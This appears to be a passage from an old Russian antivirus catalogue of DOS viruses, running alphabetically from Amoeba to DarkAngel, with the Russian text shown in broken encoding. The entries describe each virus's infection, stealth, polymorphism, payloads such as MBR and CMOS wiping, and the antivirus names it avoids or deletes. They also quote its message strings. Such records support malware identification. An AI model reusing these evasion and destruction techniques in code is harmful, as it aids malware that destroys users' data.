OT, 86, PY, EG. Èíîãäà âûâîäèò ñîîáùåíèå:
*Amoeba v1.00*
Written by Crazy Lord (Ming)
Made in Hong Kong
Òàêæå ñîäåðæèò ñòðîêè "Amoef", "CLME V0.62".
CloneWar.261
Ñîäåðæèò ñòðîêó "CloneWar V1.0".
CloneWar.546
Ñîäåðæèò òåêñò:
Beyond
The rim of the star-light
My love
Is wand'ring in star-flight
I know
He'll find in star-clustered reaches
Love
Strange love a star woman teaches.
I know
His journey ends never
His star trek
Will go on forever.
But tell him
While he wanders his starry sea
Remember, remember me.
[TrekWar] *.EXE COM
CloneWar.923 (2)
 çàâèñèìîñòè îò ñèñòåìíîãî òàéìåðà, ëèáî ïðîèçâîäèò ïîèñê *.EXE-ôàéëîâ
è ñîçäàåò âèðóñû-ñïóòíèêè ñ ðàñøèðåíèåì COM äëÿ ýòèõ EXE-ôàéëîâ, ëèáî
ïðîèçâîäèò èñïîëíåíèå íåêîòîðîé ìóçûêè (åñëè ýòî ìîæíî íàçâàòü ìóçûêîé)
è "çàöèêëèâàåò" íà ýòîì ñèñòåìó.
CMOSDead.3618, 3622, 3710, 5154
Îïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Ïðèìåðíî ÷åðåç ãîä ïîñëå
ïîïàäàíèÿ íà îïðåäåëåííûé êîìïüþòåð, âèðóñû óíè÷òîæàþò ñîäåðæèìîå CMOS-
ïàìÿòè è âûâîäÿò òåêñò:
ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛ ÛÛ ÛÛ Û Û ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
Your computer will be need a psychiatrist...
GRISOFT(c) SOFTWARE 1989,96
ÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛÛÛÛ
CmosDead.5154 òàêæå óíè÷òîæàåò MBR æåñòêîãî äèñêà, çàïèñûâàÿ â íåãî
êîä, êîòîðûé âûâîäèò òåêñò "CMOS-DEAD: DATA DESTROYED !". Íå çàðàæàþò
ôàéëû, ñîäåðæàùèå â ñâîåì èìåíè áóêâîñî÷åòàíèÿ AVG, AVGW, AVGSYS, SCAN,
CLEAN, ASTA, VSAFE, MSAV, TURBO, WIN, BP, TRAP, TBAV, TBDRIVER, VCOP,
GUARD, VS, 286, 386, CHKDSK. Ñîäåðæàò òåêñò " I love MS-DOS ! " èëè
"Hello Mr. Odehnal !".
CMOSDense.807
Îïàñíûé âèðóñ. Ïåðèîäè÷åñêè ñòðàííûì îáðàçîì èçìåíÿåò íåêîòîðûå îïöèè
CMOS-ïàìÿòè.
CNTV.2630
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ðàçìåùàåò ñâîþ ðåçèäåíòíóþ êîïèþ â ñèñòåìíûõ
áóôåðàõ DOS. ×àñòü îáðàáîò÷èêà INT 21h - â ïåðâîì ïðîãðàììíîì PSP
(Program Segment Prefix). Ïðè çàïóñêå ïðîãðàììû, âèðóñ çàãðóæàåò åå â
ïàìÿòü ñ ïîìîùüþ f.4B01h Int 21h (çàãðóçèòü áåç âûïîëíåíèÿ), òðàññèðóåò
ñòàðòîâûé êîä ïðîãðàììû è âíåäðÿåò ñâîé ðàñøèôðîâùèê ïî àäðåñó 100-îé
èíñòðóêöèè. Îñíîâíîé âèðóñíûé êîä çàøèôðîâûâàåòñÿ è çàïèñûâàåòñÿ â
êîíåö ôàéëà. Èç-çà îøèáîê âèðóñ ìîæåò èñïîðòèòü çàðàæàåìûé ôàéë. Èíîãäà
âèðóñ ìîæåò âûâåñòè ñîîáùåíèå: "í A CuBaN NeW TeChNoLoGy ViRuS By
SoMeBoDy !".
Cock.512
Ïðè çàðàæåíèè êàæäîãî 15 ôàéëà âûâîäèò ðóãàòåëüñòâî íà àíãëèéñêîì
ÿçûêå. Ñîäåðæèò ñòðîêó "Smart Cock".
CodeDa.1289
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðâûì äåëîì ïûòàåòñÿ çàðàçèòü êîìàíäíûé
ïðîöåññîð (COMMAND.COM), óêàçàííûé â ïåðåìåííîé COMSPEC. ×åðåç 7 äíåé
ïîñëå çàðàæåíèÿ ôàéëà áëîêèðóåò íàæàòèÿ êëàâèø ESC è "`". Ñâîå íàçâàíèå
ïîëó÷èë çà âûçîâ ôóíêöèè AX=CODE INT 21h äëÿ ïðîâåðêè ñâîåãî íàõîæäåíèÿ
â ïàìÿòè è îòâåòà AL=DA.
CoffeeShop.1568
Íåîïàñíûé ðåçèäåíòíûé âèðóñ.  ïÿòíèöó, åñëè çíà÷åíèå ñåêóíä ñèñòåìíîãî
òàéìåðà ðàâíî 0 âûâîäèò èçîáðàæåíèå çåëåíîãî ëèñòà (ñì.
MtE.CoffeeShop). Ñîäåðæèò ñòðîêè "CoffeeShop", "MK '92",
"COSCCLVSNEHTTBVIRAFEMTBR".
Coito.644
Ñîäåðæèò ñòðîêó "-= COITO, ERGO SUM =-By Green Leon 1993".
Collor.878
Îïàñíûé øèôðîâàííûé âèðóñ. Â çàâèñèìîñòè îò ñèñòåìíîãî òàéìåðà ìîæåò
óíè÷òîæèòü ñîäåðæèìîå 15 ïåðâûõ ñåêòîðîâ æåñòêîãî äèñêà. Íî ïåðåä ýòèì
âûâåäåò òåêñò "Virus Collor De Mello".
CommanderBomber
Ïðè çàðàæåíèè ôàéëîâ èñïîëüçóåò äîâîëüíî ñëîæíûé ïîëèìîðôíûé àëãîðèòì.
Ñ÷èòûâàåò 4096 áàéò èç ñåðåäèíû ôàéëà-æåðòâû è çàïèñûâàåò èõ â êîíåö
ôàéëà. Â îñâîáîäèâøååñÿ ìåñòî çàïèñûâàåò ñâîé âèðóñíûé êîä. Çàòåì âèðóñ
çàïèñûâàåò íåñêîëüêî ó÷àñòêîâ ñâîåãî êîäà (ïîäïðîãðàìì) â ðàçëè÷íûå
ìåñòà ôàéëà. Ýòè ïîäïðîãðàììû ñîäåðæàò, ïðàêòè÷åñêè, âñå èíñòðóêöèè
ïðîöåññîðà 8086. Ïåðâàÿ ïîäïðîãðàììà íàõîäèòñÿ â íà÷àëå ôàéëà, à
ïîñëåäíÿÿ ïåðåäàåò óïðàâëåíèå îñíîâíîìó áëîêó âèðóñà. Ïîäïðîãðàììû
'îáùàþòñÿ' äðóã ñ äðóãîì ñ ïîìîùüþ êîìàíä ïåðåäà÷è óïðàâëåíèÿ JMP, RET,
CALL è ò.ä. Òàêèì îáðàçîì, èíôèöèðîâàííûé ôàéë ïðåäñòàâëÿåò ñîáîé
ïðîãðàììíûé êîä, êîòîðûé ñîäåðæèò â ñâîåì òåëå âèðóñíûå 'ïÿòíà'.
Ñîäåðæèò òåêñòîâûå ñòðîêè "COMMANDER BOMBER WAS HERE" è "[DAME]".
Commando (1,2)
Íåîïàñíûå ðåçèäåíòíûå âèðóñû äëèíîé 421 è 498 áàéò. Ðàçëè÷àþòñÿ òîëüêî
âèäåîýôôåêòàìè: ïåðåêëþ÷àþò âèäåîñòðàíèöû èëè "òðÿñóò" ýêðàí. Ñîäåðæàò
ñòðîêó "COMMANDO-3".
Companion.Caro
Îïàñíûé ðåçèäåíòíûé âèðóñ-ñïóòíèê.17 îêòÿáðÿ óíè÷òîæàåò ñîäåðæèìîå âñåõ
ëîãè÷åñêèõ äèñêîâ. Ïðè çàïóñêå ñ êëþ÷îì -? âèðóñ âûâîäèò òåêñò:
This virus is dedicated to Caro, the girl that under less than a period
of 5 hours changed my life drastical. Positive or negative? Who knows..
Cool.929
Íåîïàñíûé ðåçèäåíòíûé âèðóñ.  ïîëíî÷ü âûâîäèò íà ýêðàí "ìóñîð".
Copy77
Íà÷èíàÿ ñ 77 ñâîåãî ïîêîëåíèÿ ïðè çàãðóçêå âûâîäèò òåêñò
"Copy 77 in job ...".
Cordobes.3334
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Óäàëÿåò ôàéë CHKLIST.MS.
Ïðèìåðíî ÷åðåç 4 ìåñÿöà ïîñëå çàðàæåíèÿ ôàéëà âèðóñ çàïèñûâàåò â êîíåö
ôàéëà C:\AUTOEXEC.BAT òåêñò:
@Echo Virus "EL MOSTRO CORDOBES".
@Echo No tema por sus datos. Que pase un buen dáa.
@Echo.
@Pause
Cornucopia
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ-ñïóòíèê. Óïàêîâàí óòèëèòîé PKLITE 1.14.
Ïðîèçâîäèò ïîèñê è çàðàæåíèå COM è EXE-ôàéëîâ íà âñåõ äîñòóïíûõ äèñêàõ.
Ïðè çàðàæåíèè ôàéëà, ïåðåèìåíîâûâàåò îðèãèíàëüíûé ôàéë, ñîçäàâàÿ åìó
èìÿ, îòëè÷íîå îò íàñòîÿùåãî èìåíè òîëüêî ïîñëåäíèì ñèìâîëîì. Ê
ïîñëåäíåìó ñèìâîëó èìåíè ôàéëà âèðóñ ïðèáàâëÿåò åäèíèöó (äëÿ êîäà
ASCII). Íàïðèìåð, åñëè èìåíà ôàéëîâ áûëè FILE.EXE è 00000.COM, òî âèðóñ
ïåðåèìåíóåò äàííûé ôàéëû â FILF.EXE è 00001.COM ñîîòâåòñòâåííî. Ïîñëå
ýòîãî âèðóñ çàíîâî ñîçäàåò ôàéë ñ îðèãèíàëüíûìè èìåíåì è äëèíîé è
çàïèñûâàåò â íåãî ñâîé êîä. Ïî îêîí÷àíèè ñâîåé "ðàáîòû" âèðóñ ïûòàåòñÿ
çàïóñòèòü îðèãèíàëüíûé ôàéë. Åñëè äàííûé ôàéë íå áóäåò íàéäåí, òî âèðóñ
âûâîäèò ñîîáùåíèå "Unknown command", ïîñëå ÷åãî âûâîäèò èìÿ èñòèííîãî
çàðàæåííîãî ôàéëà. Ïðè òðàññèðîâêå êîäà âèðóñà, âèðóñ ìîæåò óäàëèòü
ôàéë, ñîäåðæàùèé äàííûé êîä íà äèñêå. Ñîäåðæèò òåêñòû:
C:\*.* .COM .EXE
PROT SCAN VIRU NAV MZ
This is a SIMUTATED VIRUS for testing.
Copyright Rosenthal Engineering 1991
CorpLife.1929, 1937
Íåîïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Ïðè çàðàæåíèè EXE-ôàéëîâ
èñïîëüçóþò FCB-ôóíêöèè. Åñëè íà êîìïüþòåðå èìååòñÿ Sound Blaster ñî
speech-äðàéâåðîì, òî âèðóñ ïåðåäàåò ýòîìó äðàéâåðó òåêñòîâóþ ñòðîêó
"Fuck Corporat Life.". Âèðóñû òàêæå ñîäåðæàò ñòðîêó "$B -=[$$$
Corporate Life $$$]=- P$".
Cossiga.859
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ìîæåò óíè÷òîæèòü ñîäåðæèìîå ïåðâûõ 9òè
ñåêòîðîâ 39 öèëèíäðîâ ïåðâîãî æåñòêîãî äèñêà. Ïîñëå ÷åãî âûâåäåò òåêñò
"TE LO SEI PRESO NEL CULO !".
Cpsu.680
Óñòðàèâàåò âèäåîýôôåêò: ÷åòíûå ñòðîêè ýêðàíà äâèæóòñÿ â îäíó ñòîðîíó,
íå÷åòíûå - â äðóãóþ. Ñîäåðæèò òåêñò "Long live CPSU".
Cpw.1459
Îïàñíûé ðåçèäåíòíûé âèðóñ. Èçìåíÿåò ââîäèìûå ñèìâîëû ñ êëàâèàòóðû, 27
ìàÿ âûâîäèò òåêñò "íFeliz cumpleaäos CPW!. Ñîäåðæèò ñòðîêó èìåí ôàéëîâ,
êîòîðûå âèðóñ íå çàðàæàåò, íî ìîæåò è óäàëèòü ëþáîé èç íèõ:
"ÌÎCNCGUARDEMSCPAVSCANCLEANFINDVIRUCHKVIRUS". Ñîäåðæèò òàêæå òåêñòû
"Este programa fue hecho en Chile en 1992 por CPW.", "C:\COMMAND.COM",
"You are here CPW!".
Cpw.1527
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. 11 ñåíòÿáðÿ, 28 äåêàáðÿ, 27 ìàÿ
óäàëÿåò ôàéëû. Ñîäåðæèò òåêñòîâûå ñòðîêè:
CPW fue hecho en Chile en 1992, íVIVA CHILE MIERDA!
C:\COMMAND.COM
GUARD guard CPAV SCAN CHKVIRUS CLEAN TOOLKIT VSAFE CHKLIST.CPS
Âèðóñ óäàëÿåò ôàéëû, îáîçíà÷åííûå â ïîñëåäíåé òåêñòîâîé ñòðîêå.
Cracky.546
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò ñîîáùåíèå "K.I.I.S.°".
Crazy.1402, Crazy.1445
Íåîïàñíûå ñòåëñ-âèðóñû. Ïåðåõâàòûâàþò INT 1Ch, INT 21h. Â ïàìÿòè õðàíÿò
äâå ñâîè êîïèè. Ïðè êàæäîì âûçîâå INT 1Ch (òàéìåð) âèðóñû êîïèðóþò
"ïàññèâíóþ" êîïèþ â "àêòèâíóþ", ïðåäîõðàíÿÿ, ò.î., ñâîé êîä îò
òðàññèðîâêè è îò îáåçâðåæèâàíèÿ àêòèâíîé TSR-êîïèè â ïàìÿòè. Ñîäåðæàò
òåêñòû:
Crazy.1402 - " Crazy imp v1.5 ";
Crazy.1445 - " Crazy imp v2.0 ".
CrazyBoot
Íåîïàñíûé ñòåëñ boot-âèðóñ. Ïðè 8995îé çàãðóçêå ñ èíôèöèðîâàííîãî
äèñêà(!!!) âûâîäèò òåêñò:
Don't PLAY with the PC ! Otherwise you will get in 'DEEP,DEEP' trouble !...
Crazy Boot Ver. 1.0
Crepate.2910
Î÷åíü îïàñíûé ïîëèìîðôíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Ïðè ïåðâîì ñòàðòå
èíôèöèðîâàííîé ïðîãðàììû çàðàæàåò MBR æåñòêîãî äèñêà, ïðè÷åì åñëè
çàðàæåííàÿ ïðîãðàììà áûëà çàïóùåíà ñ ãèáêîãî äèñêà, òî âèðóñ ñîõðàíÿåò
íå îðèãèíàëüíûé MBR, à boot-ñåêòîð ôëîïïè-äèñêà. Âîññòàíîâèòü èñòèííûé
MBR â äàííîì ñëó÷àå íåâîçìîæíî. Ïðè çàãðóçêå ñèñòåìû ñ æåñòêîãî äèñêà
âèðóñ óñòàíàâëèâàåò ñâîþ TSR-êîïèþ, ïåðåõâàòûâàåò INT 1Ch, æäåò
óñòàíîâêè DOS, ïîñëå ÷åãî ïåðåõâàòûâàåò INT 21h.  çàâèñèìîñòè îò
ñèñòåìíîãî âðåìåíè âèðóñ ìîæåò ïåðåôîðìàòèðîâàòü "âèí÷åñòåð". Ñîäåðæèò
òåêñòîâûå ñòðîêè: "COMcomEXEexeOV?ov?", "Crepate
(c)1992/93-Italy-(Pisa)", "Crepa(c) bye R.T.!".
CriCri.4300, 4616
Îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Çàðàæàþò çàãðóçî÷íûå ñåêòîðà
äèñêåò è COM, EXE - ôàéëû. Ïðè çàðàæåíèè èç-çà îøèáêè ìîãóò ïîðòèòü
ôàéëû. 4 èþíÿ âûâîäÿò íà ýêðàí òåêñò "Cri-Cri ViRuS by Griyo/29A ...
Tried, tested, not approved." è "âåøàþò" ñèñòåìó. Íå çàðàæàþò ôàéëû, â
èìåíàõ êîòîðûõ ïðèñóòñòâóþò öèôðû èëè áóêâà "V".
Cruel (1,2)
Îïàñíûå çàãðóçî÷íûå âèðóñû. Çàðàæàþò Boot-ñåêòîðà äèñêîâ ïðè êàæäîì 40
îáðàùåíèè ê äèñêó íà ÷òåíèå èëè çàïèñü. 8 ÷èñëà ìåñÿöà ïðè çíà÷åíèè
ìèíóò ðàâíûì 47 âèðóñû óíè÷òîæàþò ñîäåðæèìîå CMOS-ïàìÿòè.Ñîäåðæàò òåêñò
"CRUE(L)".
Cruncher.2092, 4000, 4800
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Äàííûå âèðóñû, íàõîäÿñü ðåçèäåíòíî â
ïàìÿòè "ñæèìàþò" ñòàðòóþùèå ïðîãðàììû ïî ìåòîäó DLV (dynamic LempelZiv)
àëãîðèòìîì ïîïóëÿðíîé óòèëèòû ñæàòèÿ DIET 1.00 ÿïîíñêîãî ïðîãðàììèñòà
Teddy Matsumoto. Ïðè÷åì çàðàæåííûå ïðîãðàììû ìîãóò áûòü ìåíüøå ïî
ðàçìåðó!, ÷åì îðèãèíàëüíûå ôàéëû. Çàðàæàþò âèðóñû ñëåäóþùèì îáðàçîì:
ñòàðòóþùèé ôàéë (äî 128 Êá) ñ÷èòûâàåòñÿ â ïàìÿòü, çàðàæàåòñÿ
ñòàíäàðòíûì îáðàçîì â ïàìÿòè, ïîñëå ÷åãî êîìïðåññèðóåòñÿ ñ ïîìîùüþ
àëãîðèòìà óòèëèòû DIET. Ïîñëå ýòîãî ê ñæàòûì äàííûì äîáàâëÿåòñÿ
ñòàíäàðòíûé ðàñïàêîâùèê DIET, è äàííûé çàðàæåííûé è, ìîæåò áûòü, ñæàòûé
ôàéë çàïèñûâàåòñÿ íà äèñê âìåñòî îðèãèíàëüíîãî ôàéëà. Cruncher.2092
ñîäåðæèò òåêñòû "[ MK / Trident ]", "Cruncher V1.0ñ". Cruncher.4000 íå
çàðàæàåò ôàéëû, ñîäåðæàùèå â íà÷àëå èìåíè äâå ïîñëåäîâàòåëüíûå áóêâû,
óêàçàííûå â ñëåäóþùåé ñòðîêå "COSCCLVSNEHTTBVIFIGIRAFEMTBRIM". Ïðè
âûçîâå ôóíêöèè AX=33E1h INT 21h Cruncher.4000 âûâîäèò íà ýêðàí òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º *** CRUNCHER V2.0 *** Automatic file compression utility º
º Written by Masud Khafir of the TridenT group (c) 31/12/92 º
º Greetings to Fred Cohen, Light Avenger and Teddy Matsumoto º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Cruncher.4800 ïðè ñòàðòå âûâîäèò ñîîáùåíèå:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º *** CRUNCHER V2.1 *** Automatic file compression utility º
º Written by Masud Khafir of the TridenT group (c) 23/8/93 º
º Greetings to Fred Cohen, Light Avenger and Teddy Matsumoto º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Install Cruncher in memory? (Yes/No/Help)
Åñëè ââåñòè "Y", òî âèðóñ óñòàíîâèò ñâîþ TSR-êîïèþ â ïàìÿòü. Åñëè
ââåñòè "H" (Help), òî âèðóñ âûâîäèò òåêñò:
Cruncher is a resident utility that will compress .COM and .EXE files when
they are executed. These files will shrink in size, thus giving you more
free disk space. Cruncher does this automaticly. The Cruncher routine will
be included in the compressed files.
Caution: there are a few programs that are not compatible with Cruncher.
These may fail to work when they are compressed. If you have such programs,
turn on their read-only attributes to prevent them from being crunched. It's
a good idea to make a backup of your programs!
You can put "SET CRUNCH=AUTO" in your AUTOEXEC.BAT to give Cruncher
permission to install without asking.
Crusher
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Çàðàæàåò MBR æåñòêîãî äèñêà è EXE-
ôàéëû ïðè êîïèðîâàíèè, âíåäðÿÿ ñâîé êîä â èõ íà÷àëî. Åñëè íå õâàòàåò
ïàìÿòè ïðè óñòàíîâêå âèðóñîì ñâîåé TSR-êîïèè, òî âèðóñ âûâîäèò
ñîîáùåíèå "Insufficient memory". Ïðè ñòàðòå ïðîãðàììû CHKDSK âîçìîæíî
ïîÿâëåíèå òåêñòà:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Crusher
You are damned
Bit Addict / Trident
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Cuareim.800 (1,2)
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Ïîñëå 22.00 âûâîäÿò òåêñò:
ei-cuareim 1.5 By: V90d90A time to stop working - 22pm
Lucky, I dont do anything
è çàâåðøàþò ðàáîòó ïðîãðàììû.
Cunning.1997
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè ïåðâîì ñòàðòå ïûòàåòñÿ çàðàçèòü
êîìàíäíûé ïðîöåññîð, óêàçàííûé ÷åðåç ïåðåìåííóþ COMSPEC è
C:\COMMAND.COM. Ïîñëå ÷åãî óäàëÿåò âèðóñíûé êîä èç ñòàðòîâàâøåé
ïðîãðàììû. Ïðè ñòàðòå èíôèöèðîâàííîãî êîìàíäíîãî ïðîöåññîðà
óñòàíàâëèâàåò â ïàìÿòü ñâîþ ðåçèäåíòíóþ êîïèþ. Ïðè ñòàðòå ïðîãðàìì
ARJ.EXE, RAR.EXE èëè AIN.EXE âèðóñ çàðàæàåò âñå îòêðûâàåìûå COM-ôàéëû,
à ïðè èõ çàêðûòèè - óäàëÿåò èç íèõ âèðóñíûå êîäû. Ò.î., âñå COM-ôàéëû,
âî âíîâü ñîçäàííûõ àðõèâàõ ARJ, RAR èëè AIN, îêàçûâàþòñÿ
èíôèöèðîâàííûìè. Ïðè ñòàðòå ïðîãðàììû ADINF.EXE âèðóñ óäàëÿåò ñâîé êîä
èç COMMAND.COM.
Cvka.1024
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Áëîêèðóåò íàæàòèå íà êëàâèøè
Caps Lock è ïðàâûé Shift. Ñîäåðæèò òåêñòû "Cheboksary-90", "CVKA".
Cyanide.705
13 ÷èñëà ìåñÿöà óñòàíàâëèâàåò ñèñòåìíóþ äàòó íà 14 ÷èñëî è âûâîäèò òåêñò
Goodday.. I am da Sparkling Cyanide fear,
however, no need to vir.. 'coz
I do NOT have a bomb like al those childish fears.
On da contrary.. I've set your date to tomorrow,
So all the other fears haven't got a chance..
Aren't you glad you ran me first?
SPARKLING CYANIDE (c) [VooDoo]
Cybercide.2299
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðåõâàòûâàåò INT 09, 1Ch, 21h. Ïðè
ââîäå ñ êëàâèàòóðû ñëîâà "anoi" âèðóñ äîáàâëÿåò ñòðîêó "iS AROUND!".
Ïðè íàæàòèè íà êëàâèøè Alt+Del âèðóñ âûâîäèò ïî âñåì óãëàì ýêðàíà áóêâû
"A", "N", "O", "I". Â çàâèñèìîñòè îò ñèñòåìíîãî âðåìåíè âèðóñ
óíè÷òîæàåò ñîäåðæèìîå ñëó÷àéíûõ ñåêòîðîâ äèñêà, çàïèñûâàÿ â íèõ ñòðîêó
">>> A.N.O.I <<<", èëè ðèñóåò øâåäñêèé æåëòûé êðåñò íà ñèíåì ôîíå,
èëè ïðîèãðûâàåò ìåëîäèþ è âûâîäèò ñîîáùåíèå:
ÄĆÄÄÄ I hereby proclaim this computer as the property of A.N.O.I ÄĆÄÄÄ
!! ALL HAIL DARTH VADER !!
Ñîäåðæèò òåêñòû:
nam nesut agnÆm dem Änk mo Änk ,marfkcig xeR sluloraC
ruh nes egnÄl rÔf ,nÄ in snniM
YTITNE na ot LEURC eb reven
ynollef ELIV a si GINKLAWYAJ
... I SHALL FEAR NO EVIL ...
**CYBERCIDE** -- FLOATING THROUGH THE VOID
-=CYBERCIDE=- 01-30-1993 * COPYRIGHT (C) 1992-93 A.N.O.I DEVELOPMENT
DaBoys (1,2)
Îïàñíûå çàãðóçî÷íûå âèðóñû. Íå ñîõðàíÿþò îðèãèíàëüíûå çàãðóçî÷íûå
ñåêòîðà äèñêîâ. Ñîäåðæàò ñòðîêó "DA`BOYS".
Dac.1582, 1600
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ïûòàþòñÿ ñêðûâàòü ïðèðàùåíèå ñâîèõ äëèí,
íî äåëàþò ýòî ñ îøèáêîé. Ïîñëå 47 çàðàæåíèé ôàéëîâ âûâîäÿò ñîîáùåíèÿ
â ðåæèìå 40x25:
Dac.1582: Do not interrupt; the D.A.C action.
The ALIEN,v.1.0.1991y.
I'm asked users to call author. L..bank.
Simferopol-city. Written by M>2,F<2,T>2.
Not destructs, but errors. Halt !.. Bye!
Dac.1600: Do not interrupt; the D.A.C action.
The FBARA v.1.4.1993y.
I'm asked users to call author. Unknown.
..m.e..po.-c.ty. Written by M>3,F<2,T>2.
Not destructs, but errors. Halt !.. Bye!
Ïîñëå ÷åãî "âåøàþò" ñèñòåìó.
Dalien.1052
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêè "TechnoWamp 93", "*.COM",
"DALIEN D&O V2".
Daemaen.1894, Daemaen.2048
Íåîïàñíûå ôàéëîâî-çàãðóçî÷íûå øèôðîâàííûå âèðóñû. Çàðàæàþò COM, EXE,
BIN, OVL, SYS- ôàéëû MBR æåñòêîãî äèñêà è Boot-ñåêòîðà äèñêåò. Ñîäåðæàò
ñòðîêó "COMEXEBINOVLSYS". Daemaen.1894 ñîäåðæèò ñòðîêó "SCCLVSF-".
Daemaen.1894 íå çàðàæàåò ïðîãðàììû, ñîäåðæàùèå â ñâîåì èìåíè ïåðâûå 2
áóêâû èç 8 ñèìâîëîâ äàííîé ñòðîêè. Òàêæå â òåëå âèðóñîâ èìåþòñÿ åùå
òåêñòîâûå ñòðîêè -
Daemaen.1894:
Cowboys From Hell/Vulgar Display of Power [Pantera] The best Power
Metal band in the world. tHiS k0oL ViRUZ WaReZ bY [TÄLÔN<=>NÖKô] '93!
Daemaen.2048:
[DÄeMÆÈn] by TÄLÔN-{NÖKô}
Hugs to Sara Gordon
Hey John! If this is bad, wait for [VCL20]!
For Dudley
[VCL20ñ]/TÄLÔNøË
Damanaegi
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ïåðèîäè÷åñêè âûâîäèò íà ýêðàí "DAMANAEGI".
Damcdoom
Îïàñíûé Boot-âèðóñ. Íà äèñêåòàõ îðèãèíàëüíûé Boot-ñåêòîð íå ñîõðàíÿåò.
DAME-âèðóñû
DAME (Dark Angel Mutation Engine) - ïîëèìîðôíûé ãåíåðàòîð âèðóñíûõ
øèôðîâùèêîâ è ðàñøèôðîâùèêîâ.
DAME.Lame
Íåîïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò òåêñòîâóþ ñòðîêè:
*.com ..
This is a lame virus slapped together by DA/PS
To demonstrate DAME 0.91
DAME.Trigger
Ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïûòàåòñÿ íàéòè â ïàìÿòè è ÷òî-òî ñäåëàòü
ñ êàêîé-òî ðåçèäåíòíîé ïðîãðàììîé. Òðàññèðóåò INT 21h è "âðåçàåò" â
îðèãèíàëüíûé îáðàáîò÷èê 5 áàéò ïðÿìîãî ìåæñåãìåíòíîãî ïåðåõîäà íà ñâîé
êîä. Ñîäåðæèò òåêñòîâóþ ñòðîêó:
Trigger by Dark Angel of Phalcon/Skism
Utilising Dark Angel's Multiple Encryptor (DAME)
Daniela
Îïàñíûé çàãðóçî÷íûé âèðóñ. 5 àïðåëÿ óíè÷òîæàåò èíôîðìàöèþ íà æåñòêîì
äèñêå. Ñîäåðæèò òåêñò "EU TE AMO DANIELA".
Danish.284
Ñîäåðæèò òåêñò:
*** NIGHTCRAWLER V 2.0 *** Written by the Weasel!
(C) Sector Infector Inc
Danish.310
Ñîäåðæèò òåêñòû "Tiny-F version 1.1", "Released 10-19-91".
Danish.Kennedy
6 èþíÿ, 18 è 22 íîÿáðÿ âûâîäèò òåêñò "Kennedy er dÛd - lÑnge leve "The
Dead Kennedys"".
Danny.872
17 îêòÿáðÿ âûâîäèò òåêñò "Today is Danny's birthday! She is now XX
years old.", ïðàâèëüíî ìåíÿÿ âîçðàñò.
DarkAngel
Îïàñíûé çàãðóçî÷íûé âèðóñ. Íå ñîõðàíÿåò îðèãèíàëüíûé MBR æåñòêîãî äèñêà
ïðè çàðàæåíèè.
DarkAngel.3250
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ.Ñîäåðæèò â ñâîåì òåëå çàãðóçî÷íûé
âèðóñ DarkAngel, îïèñàííûé âûøå. Èíîãäà DarkAngel.3250 çàðàæàåò MBR
æåñòêîãî äèñêà âèðóñîì DarkAngel, êîòîðûé â ïîñëåäñòâèè "æèâåò
ñàìîñòîÿòåëüíîé æèçíüþ". DarkAngel.3250 ñîäåðæèò òåêñòû "D.Angel",
"Copyright (C) Dark Angel Corp 1992-1993.".
